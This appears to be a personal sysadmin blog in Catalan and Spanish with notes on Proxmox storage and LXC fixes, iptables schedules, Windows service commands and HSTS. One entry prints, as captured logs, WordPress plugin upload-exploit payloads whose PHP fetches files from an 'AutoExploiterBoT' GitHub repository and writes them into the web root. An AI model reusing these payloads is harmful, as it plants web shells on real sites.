servidors

Las siguientes firmas no fueron válidas: EXPKEYSIG 11764EE8AC24832F Carsten Boeving

2020-11-03T22:56:00.002+01:00

root@kali-pi4:/proc/sys/net/ipv4# apt update
Obj:1 http://kali.download/kali kali-rolling InRelease
Des:2 http://http.re4son-kernel.com/re4son kali-pi InRelease [8.133 B]
Err:2 http://http.re4son-kernel.com/re4son kali-pi InRelease
Las siguientes firmas no fueron válidas: EXPKEYSIG 11764EE8AC24832F Carsten Boeving <carsten.boeving@whitedome.com.au>
Descargados 8.133 B en 2s (4.518 B/s)
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se pueden actualizar 1010 paquetes. Ejecute «apt list --upgradable» para verlos.
W: Se produjo un error durante la verificación de las firmas. El repositorio no está actualizado y se utilizarán los ficheros de índice antiguos. Error de GPG: http://http.re4son-kernel.com/re4son kali-pi InRelease: Las siguientes firmas no fueron válidas: EXPKEYSIG 11764EE8AC24832F Carsten Boeving <carsten.boeving@whitedome.com.au>
W: Fallo al obtener http://http.re4son-kernel.com/re4son/dists/kali-pi/InRelease Las siguientes firmas no fueron válidas: EXPKEYSIG 11764EE8AC24832F Carsten Boeving <carsten.boeving@whitedome.com.au>
W: No se han podido descargar algunos archivos de índice, se han omitido, o se han utilizado unos antiguos en su lugar.
root@kali-pi4:/proc/sys/net/ipv4# Las siguientes firmas no fueron válidas: EXPKEYSIG 11764EE8AC24832Funame -a^C
root@kali-pi4:/proc/sys/net/ipv4#
root@kali-pi4:/proc/sys/net/ipv4#
root@kali-pi4:/proc/sys/net/ipv4# uname -a
Linux kali-pi4 4.19.81-Re4son-v8l+ #1 SMP PREEMPT Wed Nov 6 07:24:49 UTC 2019 aarch64 GNU/Linux
root@kali-pi4:/proc/sys/net/ipv4# gpg --keyserver hkp://keys.gnupg.net --recv-key AC24832F
gpg: caja de claves '/root/.gnupg/pubring.kbx' creada
gpg: /root/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 11764EE8AC24832F: clave pública "Carsten Boeving <carsten.boeving@whitedome.com.au>" importada
gpg: Cantidad total procesada: 1
gpg: importadas: 1
root@kali-pi4:/proc/sys/net/ipv4# gpg -a --export AC24832F | apt-key add -
OK
root@kali-pi4:/proc/sys/net/ipv4# apt update
Obj:1 http://kali.download/kali kali-rolling InRelease
Des:2 http://http.re4son-kernel.com/re4son kali-pi InRelease [8.133 B]
Des:3 http://http.re4son-kernel.com/re4son kali-pi/main arm64 Packages [13,8 kB]
Descargados 21,9 kB en 2s (9.870 B/s)
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias
Leyendo la información de estado... Hecho
Se pueden actualizar 1010 paquetes. Ejecute «apt list --upgradable» para verlos.

root@ies:~# pct listcan't open '/sys/fs/cgroup/blkio///lxc/.....' - No such file or directory

2020-07-10T11:58:00.003+02:00

upgrade proxmox5.4 to proxmox6

if yes, then try running pve-efiboot-tool kernel list to see the available/loaded kernels. check the output to see which kernel is selected.

pve-efiboot-tool refresh will copy found kernels and create boot entries.

afterwards you should be booting into the new kernel.

afegir disc ssd proxmox lmvthin

2019-07-03T09:25:00.003+02:00

afegir disc ssd 480G sanddisk

fdisk /dev/sdd
n nova partició primària
i type 8e

pvcreate --metadatasize 250k -y -ff /dev/sdd1
vgcreate ssd480 /dev/sdd1
crear volumen logic i modicar-lo a thin-client tipus
lvcreate -L 420G -n lvm-ssd480 ssd480
lvconvert --type thin-pool ssd480/lvm-ssd80

root@ies:~# more /etc/pve/storage.cfg

lvmthin: localssd480
thinpool lvm-ssd480
vgname ssd480
content images,rootdir

root@ies:~# pvesm status

Name Type Status Total Used Available %

local dir active 98559220 80857492 12652180 82.04%

local-2t lvmthin active 1887436800 619456757 1267980042 32.82%

local-lvm lvmthin active 850669568 126579631 724089936 14.88%

local-ssdlvm lvmthin inactive 0 0 0 0.00%

localssd480 lvmthin active 440401920 0 440401920 0.00%

maquetacio-rafa cifs active 1786248964 1022766164 763482800 57.26%

nas-dlink nfs active 3840539008 3817249152 23289856 99.39%

root@ies:~#

root@ies:~# pvesm scan lvm

vmdata

pve

ssd480

root@ies:~# pvesm lvmthinscan ssd480

lvm-ssd480

root@ies:~# pvesm lvmthinscan pve

data

root@ies:~# pvesm lvmthinscan vmdata

vmstore

root@ies:~# pvesm list local-lvm

local-lvm:vm-104-disk-1 raw 21474836480 104

local-lvm:vm-106-disk-1 raw 4294967296 106

local-lvm:vm-116-disk-1 raw 4294967296 116

local-lvm:vm-118-disk-1 raw 4294967296 118

local-lvm:vm-120-disk-1 raw 8589934592 120

local-lvm:vm-211-disk-1 raw 34359738368 211

local-lvm:vm-330-disk-1 raw 68719476736 330

local-lvm:vm-330-disk-2 raw 68719476736 330

local-lvm:vm-510-disk-1 raw 8589934592 510

local-lvm:vm-550-disk-0 raw 34359738368 550

local-lvm:vm-609-disk-0 raw 8589934592 609

local-lvm:vm-719-disk-0 raw 30064771072 719

local-lvm:vm-721-disk-0 raw 8589934592 721

local-lvm:vm-741-disk-0 raw 8589934592 741

regla tallafoc a un horari determinat

2018-10-25T18:19:00.000+02:00

iptables -I FORWARD 1 -p tcp --sport 53 -d 10.1.1.0/22 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -p tcp --sport 53 -d 10.1.23.0/24 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -p udp --sport 53 -d 10.1.1.0/22 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -p udp --sport 53 -d 10.1.23.0/24 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -p tcp --sport 53 -d 10.1.6.0/24 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -p udp --sport 53 -d 10.1.6.0/24 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT

iptables -I FORWARD 1 -s 10.1.1.0/22 -p tcp --dport 53 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -s 10.1.23.0/24 -p tcp --dport 53 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -s 10.1.1.0/22 -p udp --dport 53 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -s 10.1.23.0/24 -p udp --dport 53 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -s 10.1.6.0/24 -p tcp --dport 53 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT
iptables -I FORWARD 1 -s 10.1.6.0/24 -p udp --dport 53 -m time --timestart 18:30 --timestop 21:30 --weekdays Fri -j ACCEPT

regles per divendres des de 18:30 a 21:30 es poguin fer peticiones als servidors dns arrel o qualsevol altre extern.

ies kernel: audit: type=1400 audit(1538480598.585:12): apparmor="DENIED" operation="mount" info="failed mntpnt match" error=-13 profile="/usr/bin/lxc-start" name="/" pid=2180 comm="lxc-start" flags="rw, rslave"

2018-10-02T16:31:00.000+02:00

error proxmox després d'actualitzar-se i no arrancar els contenidors lxc

pct start 400

AVC apparmor="DENIED" operation="mount" info="failed mntpnt match" error=-13 profile="/usr/bin/lxc-start" name="/" pid=2180 comm="lxc-start" flags="rw, rslave"

Oct 02 13:43:18 ies kernel: audit: type=1400 audit(1538480598.585:12): apparmor="DENIED" operation="mount" info="failed mntpnt match" error=-13 profile="/usr/bin/lxc-start" name="/" pid=2180 comm="lxc-start" flags="rw, rslave"

deprés de fer seguiment d'alguns links davant aquest error aquest m'ha funcionat

https://forum.proxmox.com/threads/apparmor-preventing-lxcs-starting-after-update.42060/

I needed to manually add
deb http://download.proxmox.com/debian/pve stretch pve-no-subscription then run apt-get full-upgrade (and update ofcourse) to fix it. I am writing this as a heads up to all other people who has the same problem and as sort of bug report.

si, ara ja puc arrancar el container

i un membre de l'starff ja indica que és correcte afegir aquest repositori

if you don't have a subscription, you need to enable the no-subscription repository like described in the docs. otherwise, you don't get updates, and thus also no bug and security fixes.

listado de backups del día

2018-09-28T10:49:00.000+02:00

root@hp350:/mnt/backup/dump# ls -lt|egrep 'Sep 28'|awk '{ print $9}'
vzdump-lxc-700-2018_09_28-03_15_20.log
vzdump-lxc-700-2018_09_28-03_15_20.tar.lzo
vzdump-qemu-515-2018_09_28-03_12_21.log
vzdump-qemu-515-2018_09_28-03_12_21.vma.lzo
vzdump-qemu-510-2018_09_28-03_11_35.log
vzdump-qemu-510-2018_09_28-03_11_35.vma.lzo
vzdump-qemu-504-2018_09_28-03_10_17.log
vzdump-qemu-504-2018_09_28-03_10_17.vma.lzo
vzdump-qemu-503-2018_09_28-03_09_34.log
vzdump-qemu-503-2018_09_28-03_09_34.vma.lzo
vzdump-qemu-502-2018_09_28-03_07_29.log
vzdump-qemu-502-2018_09_28-03_07_29.vma.lzo
vzdump-lxc-405-2018_09_28-03_03_06.log
vzdump-lxc-405-2018_09_28-03_03_06.tar.lzo
vzdump-lxc-404-2018_09_28-02_51_44.log
vzdump-lxc-404-2018_09_28-02_51_44.tar.lzo
vzdump-lxc-120-2018_09_28-02_50_44.log
vzdump-lxc-120-2018_09_28-02_50_44.tar.lzo
vzdump-lxc-118-2018_09_28-02_49_33.log
vzdump-lxc-118-2018_09_28-02_49_33.tar.lzo
vzdump-lxc-116-2018_09_28-02_48_27.log
vzdump-lxc-116-2018_09_28-02_48_27.tar.lzo
vzdump-lxc-108-2018_09_28-02_38_40.log
vzdump-lxc-108-2018_09_28-02_38_40.tar.lzo
vzdump-lxc-106-2018_09_28-02_36_29.log
vzdump-lxc-106-2018_09_28-02_36_29.tar.lzo
vzdump-lxc-104-2018_09_28-02_31_23.log
vzdump-lxc-104-2018_09_28-02_31_23.tar.lzo
vzdump-lxc-101-2018_09_28-02_30_02.log
vzdump-lxc-101-2018_09_28-02_30_02.tar.lzo

root@hp350:/mnt/backup/dump# ls -lt|egrep 'Sep 28'|awk '{ print $9}'|grep tar.lzo
vzdump-lxc-700-2018_09_28-03_15_20.tar.lzo
vzdump-lxc-405-2018_09_28-03_03_06.tar.lzo
vzdump-lxc-404-2018_09_28-02_51_44.tar.lzo
vzdump-lxc-120-2018_09_28-02_50_44.tar.lzo
vzdump-lxc-118-2018_09_28-02_49_33.tar.lzo
vzdump-lxc-116-2018_09_28-02_48_27.tar.lzo
vzdump-lxc-108-2018_09_28-02_38_40.tar.lzo
vzdump-lxc-106-2018_09_28-02_36_29.tar.lzo
vzdump-lxc-104-2018_09_28-02_31_23.tar.lzo
vzdump-lxc-101-2018_09_28-02_30_02.tar.lzo

hasta que lo afine la copia es:
rsync vzdump*2018_10_05* -A ies@192.168. :/mnt/usb

WARNING: Sum of all thin volume sizes (932.00 GiB) exceeds the size of thin pool pve/data and the size of whole volume group (931.26 GiB)!

2018-09-27T17:18:00.000+02:00

fent una migració de màquines entre dos proxmox, em trobo amb aquest missatge d'alerta en una de les restauracions.

WARNING: Sum of all thin volume sizes (932.00 GiB) exceeds the size of thin pool pve/data and the size of whole volume group (931.26 GiB)!

alegrement he anat traspassant màquines pero em trobo que m'he quedat sense espai?
la suma dels espais em dona per sobre del límit que tinc

root@ies:~# lvscan

ACTIVE '/dev/pve/swap' [8.00 GiB] inherit

ACTIVE '/dev/pve/root' [96.00 GiB] inherit

ACTIVE '/dev/pve/data' [811.26 GiB] inherit

ACTIVE '/dev/pve/vm-330-disk-1' [64.00 GiB] inherit

ACTIVE '/dev/pve/vm-330-disk-2' [64.00 GiB] inherit

ACTIVE '/dev/pve/vm-403-disk-1' [100.00 GiB] inherit

ACTIVE '/dev/pve/vm-402-disk-1' [108.00 GiB] inherit

ACTIVE '/dev/pve/vm-108-disk-1' [21.00 GiB] inherit

ACTIVE '/dev/pve/vm-118-disk-1' [4.00 GiB] inherit

ACTIVE '/dev/pve/vm-116-disk-1' [4.00 GiB] inherit

ACTIVE '/dev/pve/vm-120-disk-1' [16.00 GiB] inherit

ACTIVE '/dev/pve/vm-104-disk-1' [20.00 GiB] inherit

ACTIVE '/dev/pve/vm-101-disk-1' [13.00 GiB] inherit

ACTIVE '/dev/pve/vm-106-disk-1' [4.00 GiB] inherit

ACTIVE '/dev/pve/vm-400-disk-1' [208.00 GiB] inherit

ACTIVE '/dev/pve/vm-206-disk-1' [202.00 GiB] inherit

ACTIVE '/dev/pve/vm-510-disk-1' [8.00 GiB] inherit

ACTIVE '/dev/pve/vm-520-disk-1' [32.00 GiB] inherit

ACTIVE '/dev/pve/vm-502-disk-1' [32.00 GiB] inherit

ACTIVE '/dev/pve/vm-211-disk-1' [32.00 GiB] inherit

la suma de tots els termes em dona

64
64
100
108
21
4
4
16
20
13
4
208
202
8
32
32
32
932

Em miro la màquina 400

root@ies:~# pct enter 400

root@moodle:~# df -h

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/pve-vm--400--disk--1 204G 144G 50G 75% /

on puc veure que tinc disponible 50 GB, miraré si puc reduir el tamany del disc amb el proxmox?

en alguna cerca de google trobo

i tried with "pct resize 106 rootfs 80gb" (from 200gb)

But i get: "unable to shrink disk size"

de fet l'aplicatiu web de proxmox invalida posar valors negatius per decrementar

FINALMENT OPTO PER L'OPCIÓ MÉS LENTA, FER UNA BACKUP I RESTAURAR AMB UN TAMANY MÉS PETIT, aquestes imatges que hi han son només per manternir-se encesses pero no han de creixer ja, donat que son consultives només.

You probably figured it out already, but that seems to be a limitation of LXC containers, at least for now. From the pct man page :

  \+?\d+(\.\d+)?[KMGT]?
       The new size. With the + sign the value is added to the actual size of the volume and without it,
       the value is taken as an absolute one. Shrinking disk size is not supported.

If you truly want to shrink a container, I guess you'd have to perform a backup, then restore it with the --rootfs local: option, like so :

pct stop 
vzdump  -storage local -compress lzo
pct destroy 
pct restore  /var/lib/lxc/vzdump-lxc--....tar.lzo --rootfs local:

funciona fins ara per reduir i recuperar almenys 100GB de 4 màquines.

Of course, you can't perform this sort of resizing online, so I wouldn't call it a great solution, but it works if you have no other choice.
Good luck,

https://serverfault.com/questions/784890/how-to-shrink-the-disk-of-a-lxc-container-on-proxmox-4

proxmox, error Unable to create new inotify object: Too many open files at /usr/share/perl5/PVE/INotify.pm line 390.

2018-09-25T23:59:00.001+02:00

no puc crear més màquines a partir de l'script de creació de containers

Unable to create new inotify object: Too many open files at /usr/share/perl5/PVE/INotify.pm line 390.

Do you have lots of containers running? Then you probably ran into the inotify limits:
These are the defaults:

Code:

# sysctl fs.inotify
fs.inotify.max_queued_events = 16384
fs.inotify.max_user_instances = 128
fs.inotify.max_user_watches = 65536

Try increasing the instance limit, eg. # sysctl fs.inotify.max_user_instances=512

fet

root@proxmox-alumnes3:~# ./script-creacion-lxc-idnoigualip.sh 298-299
hola, tot sembla correcte-el nom del grup ser Â¦.298-299
298
43
Using default stripesize 64.00 KiB.
Logical volume "vm-298-disk-1" created.
mke2fs 1.43.4 (31-Jan-2017)
Discarding device blocks: done
Creating filesystem with 2097152 4k blocks and 524288 inodes
Filesystem UUID: 06b5b002-1d79-4ccc-bd15-7fab5872182b
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done
Writing inode tables: done
Creating journal (16384 blocks): done
Multiple mount protection is enabled with update interval 5 seconds.
Writing superblocks and filesystem accounting information: done

extracting archive '/var/lib/vz/template/cache/deb9-ssh.tar.gz'
Total bytes read: 569384960 (544MiB, 52MiB/s)
Detected container architecture: amd64
Creating SSH host key 'ssh_host_rsa_key' - this may take some time ...
Creating SSH host key 'ssh_host_dsa_key' - this may take some time ...
Creating SSH host key 'ssh_host_ecdsa_key' - this may take some time ...
Creating SSH host key 'ssh_host_ed25519_key' - this may take some time ...
Tue Sep 25 23:57:42 CEST 2018 :: es crea la maquina : 298
299
44
Using default stripesize 64.00 KiB.
Logical volume "vm-299-disk-1" created.
mke2fs 1.43.4 (31-Jan-2017)
Discarding device blocks: done
Creating filesystem with 2097152 4k blocks and 524288 inodes
Filesystem UUID: e4e1866e-7299-4518-93ee-01aac8259fde
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done
Writing inode tables: done
Creating journal (16384 blocks): done
Multiple mount protection is enabled with update interval 5 seconds.
Writing superblocks and filesystem accounting information: done

extracting archive '/var/lib/vz/template/cache/deb9-ssh.tar.gz'
Total bytes read: 569384960 (544MiB, 105MiB/s)
Detected container architecture: amd64
Creating SSH host key 'ssh_host_dsa_key' - this may take some time ...
Creating SSH host key 'ssh_host_rsa_key' - this may take some time ...
Creating SSH host key 'ssh_host_ecdsa_key' - this may take some time ...
Creating SSH host key 'ssh_host_ed25519_key' - this may take some time ...

Tue Sep 25 23:58:17 CEST 2018 :: es crea la maquina : 299

peticions detectades maltrail com a potencia php injection

2018-09-22T14:50:00.001+02:00

peticio que arriba al servidor, he modificat el nom de domini del servidor per URL-DOMINI, donat que va buscant wp-admin, es tracta de sistema d'atac segurament a wordpress

suposso que cerquen algun tipus de vulnerabilitat pero només he pujat el contigut per un altre moment analitzar-ho.

URL-DOMINI/wp-admin/admin-ajax.php (POST --02485a6cfcd34a6fb9baa3826f1df2feContent-Disposition: form-data; name=%22action%22nm_personalizedproduct_upload_file--02485a6cfcd34a6fb9baa3826f1df2feContent-Disposition: form-data; name=%22name%22upload.php--02485a6cfcd34a6fb9baa3826f1df2feContent-Disposition: form-data; name=%22file%22; filename=%22settings_auto.php%22Content-Type: multipart/form-dataVuln!! patch it Now!
$im = curl_init($url); curl_setopt($im, URL-DOMINICURLOPT_RETURNTRANSFER, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_CONNECTTIMEOUT, URL-DOMINI10); curl_setopt($im, URL-DOMINICURLOPT_FOLLOWLOCATION, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_HEADER, URL-DOMINI0); return curl_exec($im); curl_close($im);}$check = $_SERVER['DOCUMENT_ROOT'] . %22/wp-content/vuln.php%22 ;$text = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');$open = fopen($check, URL-DOMINI'w');fwrite($open, URL-DOMINI$text);fclose($open);if(file_exists($check)){ echo $check.%22%22;}else echo %22not exits%22;echo %22done .\n %22 ;$check2 = $_SERVER['DOCUMENT_ROOT'] . %22/vuln.htm%22 ;$text2 = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploite), URL-DOMINI/wp-admin/admin-ajax.php?action=getcountryuser&cs=2 (POST --fb3e771fb1bc46fd8574153def3e543cContent-Disposition: form-data; name=%22popimg%22; filename=%22settings_auto.php%22Vuln!! patch it Now! $im = curl_init($url); curl_setopt($im, URL-DOMINICURLOPT_RETURNTRANSFER, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_CONNECTTIMEOUT, URL-DOMINI10); curl_setopt($im, URL-DOMINICURLOPT_FOLLOWLOCATION, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_HEADER, URL-DOMINI0); return curl_exec($im); curl_close($im);}$check = $_SERVER['DOCUMENT_ROOT'] . %22/wp-content/vuln.php%22 ;$text = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');$open = fopen($check, URL-DOMINI'w');fwrite($open, URL-DOMINI$text);fclose($open);if(file_exists($check)){ echo $check.%22%22;}else echo %22not exits%22;echo %22done .\n %22 ;$check2 = $_SERVER['DOCUMENT_ROOT'] . %22/vuln.htm%22 ;$text2 = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/vuln.txt');$open2 = fopen($check2, URL-DOMINI'w');fwrite($open2, URL-DOMINI$text2);fclose($open2);if(file_exists($check2)){ echo $check2.%22%22;}else echo %22not exits%22;echo %22done .\n %22 ;@unlink(__FIL), URL-DOMINI/wp-admin/admin-post.php (POST --73e122e8951f40d1ac6fdb8e1da1e423Content-Disposition: form-data; name=%22page%22pagelines--73e122e8951f40d1ac6fdb8e1da1e423Content-Disposition: form-data; name=%22settings_upload%22settings--73e122e8951f40d1ac6fdb8e1da1e423Content-Disposition: form-data; name=%22file%22; filename=%22settings_auto.php%22Vuln!! patch it Now! $im = curl_init($url); curl_setopt($im, URL-DOMINICURLOPT_RETURNTRANSFER, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_CONNECTTIMEOUT, URL-DOMINI10); curl_setopt($im, URL-DOMINICURLOPT_FOLLOWLOCATION, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_HEADER, URL-DOMINI0); return curl_exec($im); curl_close($im);}$check = $_SERVER['DOCUMENT_ROOT'] . %22/wp-content/vuln.php%22 ;$text = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');$open = fopen($check, URL-DOMINI'w');fwrite($open, URL-DOMINI$text);fclose($open);if(file_exists($check)){ echo $check.%22%22;}else echo %22not exits%22;echo %22done .\n %22 ;$check2 = $_SERVER['DOCUMENT_ROOT'] . %22/vuln.htm%22 ;$text2 = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/vuln.txt');$open2 = ), URL-DOMINI/wp-content/plugins/barclaycart/uploadify/uploadify.php (POST --6919b300ff3848a9aa59b607a4054b2dContent-Disposition: form-data; name=%22Filedata%22; filename=%22files/settings_auto.php%22Content-Type: multipart/form-dataVuln!! patch it Now! $im = curl_init($url); curl_setopt($im, URL-DOMINICURLOPT_RETURNTRANSFER, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_CONNECTTIMEOUT, URL-DOMINI10); curl_setopt($im, URL-DOMINICURLOPT_FOLLOWLOCATION, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_HEADER, URL-DOMINI0); return curl_exec($im); curl_close($im);}$check = $_SERVER['DOCUMENT_ROOT'] . %22/wp-content/vuln.php%22 ;$text = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');$open = fopen($check, URL-DOMINI'w');fwrite($open, URL-DOMINI$text);fclose($open);if(file_exists($check)){ echo $check.%22%22;}else echo %22not exits%22;echo %22done .\n %22 ;$check2 = $_SERVER['DOCUMENT_ROOT'] . %22/vuln.htm%22 ;$text2 = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/vuln.txt');$open2 = fopen($check2, URL-DOMINI'w');fwrite($open2, URL-DOMINI$text2);fclose($open2);if(file_exists($check2)){ echo $check2.%22%22;}else echo %22n), URL-DOMINI/wp-content/plugins/cherry-plugin/admin/import-export/upload.php (POST --0b046a619cbb41288861f394d4dbb9cbContent-Disposition: form-data; name=%22file%22; filename=%22files/settings_auto.php%22Content-Type: multipart/form-dataVuln!! patch it Now! $im = curl_init($url); curl_setopt($im, URL-DOMINICURLOPT_RETURNTRANSFER, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_CONNECTTIMEOUT, URL-DOMINI10); curl_setopt($im, URL-DOMINICURLOPT_FOLLOWLOCATION, URL-DOMINI1); curl_setopt($im, URL-DOMINICURLOPT_HEADER, URL-DOMINI0); return curl_exec($im); curl_close($im);}$check = $_SERVER['DOCUMENT_ROOT'] . %22/wp-content/vuln.php%22 ;$text = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php');$open = fopen($check, URL-DOMINI'w');fwrite($open, URL-DOMINI$text);fclose($open);if(file_exists($check)){ echo $check.%22%22;}else echo %22not exits%22;echo %22done .\n %22 ;$check2 = $_SERVER['DOCUMENT_ROOT'] . %22/vuln.htm%22 ;$text2 = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/vuln.txt');$open2 = fopen($check2, URL-DOMINI'w');fwrite($open2, URL-DOMINI$text2);fclose($open2);if(file_exists($check2)){ echo $check2.%22%22;}else ec)

set service windows 10 and rename

2018-09-12T23:32:00.002+02:00

# set_service_windows_10

The Set-Service cmdlet changes the properties of a service.

opcions

Sets: Boot, System, Automatic, Manual, Disabled

per tal de parar les actualitzacions automàtiques

tecla windows - powershell - administrador

Set-Service -Name BITS -StartupType Disabled
Get-Service BITS | Select-Object Name, StartType, Status

Set-Service -Name wuauserv -StartupType Disabled
Get-Service wuauserv | Select-Object Name, StartType, Status

#per renombrar la computadora
RENAME-COMPUTER -computername (hostname) -newname CONTOSO-FS; RESTART-COMPUTER -force

#per reiniciar la computadora
restart-computer

#obtener privilegios administrador

start-process powershell –verb runAs - en finestra powershell

a partir d'un d'una finestra cmd.exe

powershell -nologo "start-process powershell -verb runas"

##més d'uns altres links
Para pararlos debes escribir desde PowerShell o Símbolo de sistema ambos como Administrador, uno a la vez y das enter
net stop bits
net stop wuauserv net stop appidsvc net stop cryptsvc
Update service restarts automatically
It’s observed that just stopping the service does not work in some cases and it restarts automatically. In such cases one can disable the service completely by running below command.
C:>sc config wuauserv start= disabled [SC] ChangeServiceConfig SUCCESS Imagen
para activarlos, algo parecido, estos son los comandos
net start bits net start wuauserv net start appidsvc net start cryptsvc Get-Service | Sort-Object Status -descending
There are two ways you can do this:

Get-service
Get-WMIObject -Class Win32_Service

Get-Service | Select-Object Name, DisplayName, Status, StartType

Get-WmiObject -Class Win32_Service | Select-Object DisplayName, Name, StartMode, State

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-service?view=powershell-6

ERROR: Backup of VM 1003 failed – CT is locked (snapshot-delete)

2018-09-11T08:45:00.002+02:00

ERROR: Backup of VM 1003 failed – CT is locked (snapshot-delete)

Solución:

qm unlock 100

pct unlock 801

Valoraci{o dels certificats https

2018-09-10T23:01:00.001+02:00

3 págines per comprovar certificats i versions

https://securityheaders.com/?q=https%3A%2F%2Fassemblea.cat%2F&followRedirects=on

https://hstspreload.org/?domain=assemblea.cat

https://www.ssllabs.com/ssltest/analyze.html?d=assemblea.cat

https://timkadlec.com/2016/01/hsts-and-lets-encrypt/

Does the Let’s Encrypt client enable HSTS?

The Let’s Encrypt client can enable HSTS if you include the (currently undocumented) hsts flag.

./letsencrypt-auto --hsts

The reason why it’s not enabled by default is that if things go wrong HSTS can cause some major headaches.

Let’s say you have HSTS enabled. At some point something (pick a scary thing…any scary thing will do) goes wrong with your SSL configuration and your server is unable to serve a secure request. Your server cannot fulfill the secure request, but the browser (because of the HSTS header) cannot request anything that is insecure. You’re at an impasse and your visitor cannot see the content or asset in question. This remains the case until either your SSL configuration is restored or the HSTS header expires. Now imagine you’re running a large site with multiple teams and lots of moving parts and you see just how scary this issue could be.

Because of this risk, HSTS has to be an option that a user must specify in Let’s Encrypt—despite its importance.

https://gist.github.com/ebekker/abd89a833c050669cd5a

--hsts                Add the Strict-Transport-Security header to every HTTP
                        response. Forcing browser to use always use SSL for
                        the domain. Defends against SSL Stripping. (default:
                        False)
--no-hsts             Do not automatically add the Strict-Transport-Security
header to every HTTP response. (default: False)

Navigation Timing

2018-09-10T10:07:00.000+02:00

navigation-timing

https://www.w3.org/TR/navigation-timing/

Introduction

This section is non-normative.
User latency is an important quality benchmark for Web Applications. While script-based mechanisms, such as the one described in [JSMEASURE], can provide comprehensive instrumentation for user latency measurements within an application, in many cases, they are unable to provide a complete end-to-end latency picture.

For example, the following script shows a naive attempt to measure the time it takes to fully load a page:






<!- Main page body goes from here. -->

http://.......cat/prova-navigation-timing.html

resultat

page loading time: 6

The script calculates the time it takes to load the page after the first bit of JavaScript in the head is executed, but it does not give any information about the time it takes to get the page from the server.
To address the need for complete information on user experience, this document introduces the PerformanceTiming interfaces. This interface allows JavaScript mechanisms to provide complete client-side latency measurements within applications. With the proposed interface, the previous example can be modified to measure a user's perceived page load time.

The following script calculates how much time to load a page since the most recent navigation.






<!- Main page body goes from here. -->

http://.......cat/prova-navigation-timing2.html

resultat

User-perceived page loading time: 54

The interface provided by this work does not intend to be used as any sort of performance benchmark for user agents.

continuant del document

https://www.w3.org/TR/navigation-timing/timing-overview.png

https://developers.google.com/web/fundamentals/performance/navigation-and-resource-timing/

m'he de mirar el contingut

https://github.com/micmro/performance-bookmarklet
https://github.com/andydavies/waterfall

pero finalment he anat a web de proves de temps de carrega

https://www.webpagetest.org/

Web Page Performance Test for
ies-sabadell.cat

From: Dulles, VA - Chrome - Cable
10/9/2018, 10:01:42

Tester: VM2-01-192.168.11.98
First View only
Test runs: 3

Raw page data - Raw object data
Export HTTP Archive (.har)
View Test Log

Performance Results (Median Run)

						Document Complete			Fully Loaded
	Load Time	First Byte	Start Render	Speed Index	First Interactive (beta)	Time	Requests	Bytes In	Time	Requests	Bytes In	Cost
First View (Run 2)	21.449s	1.432s	3.600s	4039	10.070s	21.449s	137	10,747 KB	21.652s	138	10,748 KB	$$$$$

https://testmysite.withgoogle.com/intl/en-gb

https://frontal.ies-sabadell.cat/cicles-moodle

5s

Loading time on 3G: Good

19%

Est. Visitor loss

(Due to loading time)

altres
https://developers.google.com/speed/pagespeed/insights/?url=ies-sabadell.cat&tab=mobile

https://developers.google.com/speed/pagespeed/insights/?url=ies-sabadell.cat&tab=desktop

2018-09-10T09:46:00.001+02:00

maltrail ofereix aquesta informació

	39691	216.58.211.108	80 (http)	TCP	HTTP		potential proxy probe (suspicious)	(heuristic)

http://check.googlezip.net/e2e_probe?q=76444f89-1459-487e-bbce-02bb2d7a6e05

10.1.133.208

un ordinador a la xarxa wifi que vol connectra a googlezip.net

i no se que és?

cercant per google

https://developer.chrome.com/multidevice/data-compression-for-isps

Chrome Data Compression Proxy for Network Administrators, Carriers, and ISPs

Details

